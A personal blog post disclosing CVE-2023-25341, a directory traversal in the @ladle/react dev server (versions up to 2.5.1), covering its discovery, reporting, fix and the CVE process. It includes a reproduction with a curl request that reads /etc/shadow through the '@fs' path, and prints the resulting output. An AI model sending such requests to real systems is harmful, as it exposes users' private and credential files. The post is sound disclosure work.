An old CVE in ladle
โ Back to homeSo. About a year ago I found a CVE in @ladle/react <= 2.5.1
,
and have since struggled with publishing it. Whatโs up with that?
Timeline
- Discovery, reporting, fix deployed
- Requested CVE ID
CVE assigned: CVE-2023-25341
- Confusion ๐คจ
- This post, apparently
- CVE request for publication
- CVE published ๐
Whatโs a ladle?
Ladle is the software weโre using for our styleguide at work - to develop, test and demo central components of our frontend. Iโm generally very happy with it - compared with other software Iโve evaluated at the time it was quite flexible and easy to configure. It also played together with remix way better than storybook did.
Discovery
So it was the and I was at work fiddling with ladle.
I was debugging some react components and watched the network tab in the dev tools.
This led me to discover an issue that allowed attackers over the network to read arbitrary files from the machine where the ladle dev server was running with access rights of the user running it.
Fix
I reported the issue to the maintainer after work.
From my perspective the issue was handled with clear understanding and speed and a fix was published only a few hours later with PR #324 with @ladle/react
version 2.5.2
.
Obtaining a CVE
While Iโve found and fixed some vulnerabilities in the past Iโve never reported a CVE before. Since the maintainer had no strong interest to pursue this I thought it a good chance to finally have a go at it.
When trying to report a CVE the first step is to figure out the correct channel for reporting.
There are entities called CVE Numbering Authorities (CNAs), which take care of some specific projects & products.
After figuring out that there was no dedicated CNA for ladle I decided to follow the report directions on cve.org and ended up reporting the vulnerability through Mitre.
In a repeat exercise today Iโd probably prefer reporting the vulnerability through GitHub instead.
Admittedly GitHub only works for projects hosted there, and different project setups are very fine and good. However ladle is on GitHub and it seems to me that reporting through the feature there wouldโve been a clearer and faster path for me to follow.
I found several helpful resources towards reporting CVEs - among them slides for a talk called CVE IDs and how to get them. These were certainly helpful, but I still got stranded with the reporting process for quite some time.
I think the biggest hurdle for me here was to figure out what to do next. The vulnerability was fixed within 24h of me reporting it, but it took another month to obtain a CVE.
My current () idea is that I need to reference public information to publish the CVE entry. Hence this post - letโs hope I can finally figure this out.
Iโd somehow hoped that referencing the fix and noting in the initial report that it was already fixed would be sufficient to publish a CVE. This appears to not be the case. Good learning ๐.
What was the issue?
A directory traversal vulnerability in ladle
<=2.5.1
dev server
allows an attacker on the same network
to read files accessible to the user via GET requests.
For reproduction letโs consider the following experiment, where weโve got 3 files:
// package.json
{
"dependencies": {
"@ladle/react": "2.5.1"
}
}
// .ladle/config.mjs
export default {
stories: "src/**/*.stories.tsx",
outDir: "./public/",
};
// src/hello.stories.tsx
export const World =
() => <p>Hey</p>;
Letโs run the ladle dev server in a container:
docker run --rm -p 61000:61000 -v `pwd`:/experiment -it node:latest bash
root@809900b50bc7:/experiment# npm install
root@809900b50bc7:/experiment# npx ladle dev
โญโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฎ
โ โ
โ ๐ฅ Ladle.dev served at http://localhost:61000/ โ
โ โ
โฐโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
We can now visit our hello world story as expected:
Looking at the dev tools network tab some requests sparked my attention for having stuff like @fs/experiment/node_modules
in their paths:
๐ค Would this allow me to access more exciting files on my system?
curl http://localhost:61000/@fs/etc/shadow
root:*:19764:0:99999:7:::
daemon:*:19764:0:99999:7:::
bin:*:19764:0:99999:7:::
sys:*:19764:0:99999:7:::
sync:*:19764:0:99999:7:::
games:*:19764:0:99999:7:::
man:*:19764:0:99999:7:::
lp:*:19764:0:99999:7:::
mail:*:19764:0:99999:7:::
news:*:19764:0:99999:7:::
uucp:*:19764:0:99999:7:::
proxy:*:19764:0:99999:7:::
www-data:*:19764:0:99999:7:::
backup:*:19764:0:99999:7:::
list:*:19764:0:99999:7:::
irc:*:19764:0:99999:7:::
_apt:*:19764:0:99999:7:::
nobody:*:19764:0:99999:7:::
node:!:19766:0:99999:7:::
While the dev server states that it listened on localhost:61000
it was indeed not restricted to the loopback interface.
This meant that all local networks Iโve been recently using could access all my local files with rights of my current user.
What went wrong?
- Vite has a setting called server.fs.strict.
- Ladle used to configure this setting to
false
in commit 15e179e. - This led to vite exposing the local file system.
- Together with the dev server being available on all network interfaces this resulted in exposure of the local file system to arbitrary parties on the same network.
A similar issue to this was previously seen in Nuxt dev server.
Existence of settings like server.fs.strict strikes me as a dangerous footgun. It is not immediately clear to me that this setting must exist or would frequently be desired to have.